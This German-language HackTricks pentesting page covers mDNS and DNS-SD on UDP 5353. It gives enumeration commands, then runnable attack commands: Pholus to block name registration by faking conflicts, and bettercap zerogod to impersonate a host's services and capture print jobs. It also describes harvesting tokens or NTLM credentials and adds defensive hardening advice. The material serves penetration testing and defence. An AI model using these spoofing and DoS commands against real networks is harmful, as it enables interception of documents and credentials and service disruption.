5353/UDP Multicast DNS (mDNS) und DNS-SD

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Multicast DNS (mDNS) ermöglicht die DNS-ähnliche Namensauflösung und Dienstentdeckung innerhalb eines lokalen Links ohne einen Unicast-DNS-Server. Es verwendet UDP/5353 und die Multicast-Adressen 224.0.0.251 (IPv4) und FF02::FB (IPv6). DNS Service Discovery (DNS-SD, typischerweise mit mDNS verwendet) bietet eine standardisierte Möglichkeit, Dienste über PTR-, SRV- und TXT-Einträge aufzulisten und zu beschreiben.

PORT     STATE SERVICE
5353/udp open  zeroconf

Wichtige Protokolldetails, die Sie häufig während Angriffe nutzen werden:

  • Namen in der .local-Zone werden über mDNS aufgelöst.
  • Das QU (Query Unicast) Bit kann unicast Antworten auch für multicast Fragen anfordern.
  • Implementierungen sollten Pakete ignorieren, die nicht von der lokalen Verbindung stammen; einige Stacks akzeptieren sie dennoch.
  • Probing/Ankündigung erzwingt eindeutige Host-/Servicenamen; hier einzugreifen schafft DoS/„Name Squatting“-Bedingungen.

DNS-SD-Dienstmodell

Dienste werden als _._tcp oder _._udp unter .local identifiziert, z.B. _ipp._tcp.local (Drucker), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) usw. Entdecken Sie Typen mit _services._dns-sd._udp.local und lösen Sie entdeckte Instanzen in SRV/TXT/A/AAAA auf.

Netzwerkexploration und -enumeration

  • nmap Zielscan (direktes mDNS auf einem Host):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap Broadcast-Discovery (hören Sie auf das Segment und enumerieren Sie alle DNS-SD-Typen/Instanzen):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
bash
# Listet Diensttypen auf
avahi-browse -bt _services._dns-sd._udp
# Durchsucht alle Dienste und löst sie in Host/Port auf
avahi-browse -art
  • Apple dns-sd (macOS):
bash
# Durchsucht alle HTTP-Dienste
dns-sd -B _http._tcp
# Enumeriert Diensttypen
dns-sd -B _services._dns-sd._udp
# Löst eine spezifische Instanz in SRV/TXT auf
dns-sd -L "My Printer" _ipp._tcp local
  • Paketaufzeichnung mit tshark:
bash
# Live-Aufzeichnung
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Nur DNS-SD-Dienstlistenabfragen
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Tipp: Einige Browser/WebRTC verwenden ephemere mDNS-Hostnamen, um lokale IPs zu maskieren. Wenn Sie zufällige UUID.local-Kandidaten im Netzwerk sehen, lösen Sie sie mit mDNS auf, um zu lokalen IPs zu pivotieren.

Angriffe

mDNS-Namen-Probing-Interferenz (DoS / Name Squatting)

Während der Probing-Phase überprüft ein Host die Eindeutigkeit des Namens. Das Antworten mit gefälschten Konflikten zwingt ihn, neue Namen auszuwählen oder zu scheitern. Dies kann die Registrierung und Entdeckung von Diensten verzögern oder verhindern.

Beispiel mit Pholus:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Service-Spoofing und Identitätsdiebstahl (MitM)

Geben Sie beworbene DNS-SD-Dienste (Drucker, AirPlay, HTTP, Dateifreigaben) vor, um Clients dazu zu bringen, sich mit Ihnen zu verbinden. Dies ist besonders nützlich, um:

  • Dokumente zu erfassen, indem _ipp._tcp oder _printer._tcp vorgetäuscht wird.
  • Clients zu HTTP/HTTPS-Diensten zu locken, um Tokens/Cookies zu sammeln oder Payloads zu liefern.
  • Mit NTLM-Relay-Techniken zu kombinieren, wenn Windows-Clients Authentifizierung zu gefälschten Diensten aushandeln.

Mit dem zerogod-Modul von bettercap (mDNS/DNS-SD-Spoofer/Identitätsdieb):

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Auch sehen Sie generische LLMNR/NBNS/mDNS/WPAD-Spoofing- und Anmeldeerfassungs-/Relay-Workflows:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Hinweise zu aktuellen Implementierungsproblemen (nützlich für DoS/Persistenz während Engagements)

  • Avahi reachable-assertion und D-Bus Absturzfehler (2023) können den avahi-daemon auf Linux-Distributionen beenden (z.B. CVE-2023-38469..38473, CVE-2023-1981), was die Dienstentdeckung auf Zielhosts bis zum Neustart stört.
  • Cisco IOS XE Wireless LAN Controller mDNS Gateway DoS (2024, CVE-2024-20303) ermöglicht es angrenzenden Angreifern, die CPU stark zu belasten und APs zu trennen. Wenn Sie auf ein mDNS-Gateway zwischen VLANs stoßen, seien Sie sich seiner Stabilität bei fehlerhaften oder hochfrequenten mDNS-Anfragen bewusst.

Defensive Überlegungen und OPSEC

  • Segmentgrenzen: Routen Sie 224.0.0.251/FF02::FB nicht zwischen Sicherheitszonen, es sei denn, ein mDNS-Gateway ist ausdrücklich erforderlich. Wenn Sie die Entdeckung überbrücken müssen, ziehen Sie Whitelists und Ratenlimits vor.
  • Windows-Endpunkte/Server:
  • Um die Namensauflösung über mDNS vollständig zu deaktivieren, setzen Sie den Registrierungswert und starten Sie neu:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • In verwalteten Umgebungen deaktivieren Sie die integrierte Regel „mDNS (UDP-In)“ der Windows Defender Firewall (mindestens im Domänenprofil), um die eingehende mDNS-Verarbeitung zu verhindern und gleichzeitig die Home/Roaming-Funktionalität zu erhalten.
  • Bei neueren Windows 11-Versionen/GPO-Vorlagen verwenden Sie die Richtlinie „Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol“ und setzen Sie sie auf Deaktiviert.
  • Linux (Avahi):
  • Schränken Sie das Veröffentlichen ein, wenn es nicht benötigt wird: setzen Sie disable-publishing=yes und beschränken Sie Schnittstellen mit allow-interfaces= / deny-interfaces= in /etc/avahi/avahi-daemon.conf.
  • Erwägen Sie check-response-ttl=yes und vermeiden Sie enable-reflector=yes, es sei denn, es ist unbedingt erforderlich; ziehen Sie reflect-filters= Whitelists beim Reflektieren vor.
  • macOS: Beschränken Sie eingehendes mDNS an Host-/Netzwerkfirewalls, wenn die Bonjour-Entdeckung für bestimmte Subnetze nicht benötigt wird.
  • Überwachung: Alarmieren Sie bei ungewöhnlichen Anstiegen in _services._dns-sd._udp.local-Anfragen oder plötzlichen Änderungen in SRV/TXT kritischer Dienste; dies sind Indikatoren für Spoofing oder Dienstimitation.

Werkzeugübersicht

  • nmap NSE: dns-service-discovery und broadcast-dns-service-discovery.
  • Pholus: aktives Scannen, umgekehrte mDNS-Scans, DoS- und Spoofing-Hilfen.
bash
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: entdecken, speichern, bewerben und imitieren von mDNS/DNS-SD-Diensten (siehe Beispiele oben).

Spoofing/MitM

Der interessanteste Angriff, den Sie über diesen Dienst durchführen können, besteht darin, ein MitM in der Kommunikation zwischen dem Client und dem echten Server durchzuführen. Sie könnten in der Lage sein, sensible Dateien (MitM der Kommunikation mit dem Drucker) oder sogar Anmeldeinformationen (Windows-Authentifizierung) zu erhalten.
Für weitere Informationen siehe:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks